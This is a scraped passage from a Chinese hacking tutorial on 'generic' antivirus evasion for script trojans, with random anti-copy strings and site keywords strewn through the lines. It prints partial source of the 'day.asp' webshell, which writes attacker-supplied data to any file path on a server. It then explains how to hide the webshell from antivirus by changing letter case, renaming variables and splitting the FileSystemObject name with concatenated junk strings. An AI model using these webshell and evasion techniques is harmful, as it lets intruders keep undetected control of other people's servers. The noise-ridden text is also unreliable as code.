(2)宽泛性免杀
'w)X4Z0L2{8w5q!c程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛对于木马的免杀,除了找特征码外,其实还可以无目的替换代码的大小写,以达到免杀目的。大家都知道Windows操作系统对大小写不敏感,而杀毒软件对大小写是非常敏感的,然而值得庆幸的是,运行于Windows操作系统的脚本同样对大小写不敏感。还记得我们上面讲的那个什么都能加密得软件吗?其实他利用的原理就是这种大小写替换的方法。但是虽然都是大小写的替换,然而这款加密程序利用的是宽泛性免杀方法。
c'H-m%f)_%V/D6R&c)L
那么究竟什么是宽泛性免杀呢?其实宽泛性免杀就是指无目的随意替换脚本文件里代码的大小写、在对象中在、插入空变量,从而起到免杀的效果。虽然理论上Windows对大小写不敏感,但是由于一般的脚本木马逻辑性比较强,过分更改代码的大小写还是会导致程序运行异常。另外需要大家注意的就是,不一定经过宽泛性面杀的脚本木马就一定能起到免杀的效果。其实宽泛性免杀要与针对性免杀结合起来效果才够好。那么究竟怎样进行宽泛性面杀呢?
3I(N:H,l;I's宽泛性面杀进行的第一步就是选择操作方法,你可以选择将全部字母替换成大写或只替换一部分字母的大小写,也可以专门替换一些声明的变量或对象。当然我们一般会同时应用这两种方法。
-[-`.k4R)E V E4w程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛关于前一种方法由于操作简便,只是替换的问题,相信大家都会,所以下面我们主要介绍一下关于变量与对象替换方法。
TechWeb-技术社区#X"g9E5?!E%Q
要想对其进行替换,自然要知道什么是变量与对象。我们先看看下面一段代码。
%O&_:j#d:w-z;r%i9O+h#xTechWeb-技术社区
TechWeb-技术社区4o#u4~"J0M3D0J
<% //脚本开始标记
(]$y*`1o!t'_6Zdim FSOFIL //声明变量FSOFIL
TechWeb-技术社区2k3W'[,O-w$L8E
dim Fildata //声明变量Fildata
/P"j5k:a0e8udim CountFil //声明变量CountFil
5~&R,U-|2[2E0P8I+l
on error resume next
tech.techweb.com.cn+?1t3J9?-~"D&`1k2i
Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") //调用Scripting组建的FileSystemObject对象
程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛+c.A5C2X0l/[:u
if Trim(request("syfdpath"))<>"" then //先过滤变量syfdpath两边的空格,并判断变量内容是否为空。
)K#h)n-]2j)eTechWeb-技术社区Fildata = request("cyfddata") //将取得变量cyfddata的值去掉两边的空格后赋值给变量Fildata
1j7O-{:f*P/n5X9R2qtech.techweb.com.cnSet CountFil=FSOFIL.CreateTextFile(request("syfdpath"),True)
)i+k9^+w9sTechWeb-技术社区CountFil.Write Fildata
%g1\5A-_#E'^#C$?
if err =0 then
![4z,J:_;k$P(A程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛response.write "<font color=red>save Success!</font>"
8z%v4Z$x;s4UTechWeb-技术社区else
1j8e8@.u.a#S
response.write "<font color=red>Save UnSuccess!</font>"
)B*C1]!f"m!_1k0\end if
8G;~6P1D't%d:K#v3p1o"ktech.techweb.com.cnerr.clear
3X3g'v$]-g;{/m9v8uend if
tech.techweb.com.cn6z8g%N.m'?+x3O"f1G-]4P*B
…………
/j.i$n8b*p#z,{"p!V3[
…………
3|"S,x'R+G
%> //脚本结束标记
;r7j8q,e h,`#J/Y$n这就是著名小马“day.asp”的部分源码,大家看的时候主要注意里面的变量与对象。对于不懂脚本的朋友,我们可以初步的认为凡是关键字dim后面跟着的就是变量(注意前三行代码),而且关键字dim后面可以跟一个变量,也可以跟多个变量。当后面跟多个变量时要用“,”隔开,例如:dim FSOFIL, Fildata, CountFil
6Q-A"s#X'Q"h
这句代码与上面的前三句是等价的。
1@-D"H2\:q9~
那么我们又怎样区分对象呢?我们可以找他的关键字Server.CreateObject("xxxx.xxx"),关键字括号中的“xxxx.xxx”就是要调用的对象。例如我们上面的Server.CreateObject("Scripting.FileSystemObject")所调用的就是Scripting.FileSystemObject这个对象。通过以上的讲解大家应该能看得出来,其实如果能记住脚本的关键字,那么就能看懂简单的脚本代码,所以希望刚入门的朋友能学会脚本的基础知识……知道这些后我们就可以试着改这些变量与对象了。
8n;c*K#P._ ["F(H程序开发,操作系统,服务器,源码下载,Linux,Unix,BSD,PHP,Apach,asp,下载,源码,黑客,安全,技术社区,技术论坛关于变量我们可以随便改,因为这些变量都是程序员自定义的,例如我们看着FSOFIL这个变量不爽,那么我们就可以将它改成HackerXFiles或A1Pass,替换完毕后如果不出意外都是可以正常运行的,关于替换大小写的问题就更不用说了。
3c4_;}1u7S#t,v2N而对象我们就不能随便改了,因为它引用的是系统组件,与关键字有些相近。那我们就只能对他进行大小写替换了吗?当然不是!除此之外还有一种方法,就是我们可以往对象里插入空变量,例如我们想在”ABCD”这个组建中插入空变量123,那么插入完毕后就是”AB”&”1234”&”CD”,就是说在空变量两边加上”&”,然后将其插入到变量里,但是当程序运行到这里时,由于1234是空变量,也就是代表什么都没有,所以真正的执行结果还是”ABCD”。下面我们就对Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject")这句代码进行更改为例,演示一下具体的更改方法。
!^'Z)~(m&{9]-g0{TechWeb-技术社区通过上面的知识可以知道Server.CreateObject("xxxx.xxxx")是关键字,那么里面的Scripting.FileSystemObject自然就是对象了,下面我们就可以往里面插入诸如“A1Pass”等未声明的变量,并用连接符“&”或“+”号连接连起来,而且这样改过后的意义不变。改完后就是Set FSOFIL = Server.CreateObject("Scri”& “A1Pass”&”pting.FileSyste”& “A1Pass”&”mObject"),说白了就是随便插入诸如”& “A1Pass”&”这样的字符。这样的话虽然意义不变,但是杀毒软件就识别不出来了,所以就能起到免杀的效果了(如图9)。
1r.y+W+g*q-i(@TechWeb-技术社区
有的朋友可能会想到插连接符的方法,我们可以直接在对象里直接插入连接符“&”或“+”,同样可以打乱顺序,而且比较省事。但是不幸的是已经有杀毒软件可以识别这种无效的连接符了,并且可以直接将其替换,所以还是费点事比较好。因为免杀就是体力活,你省事,杀毒软件更省事……
|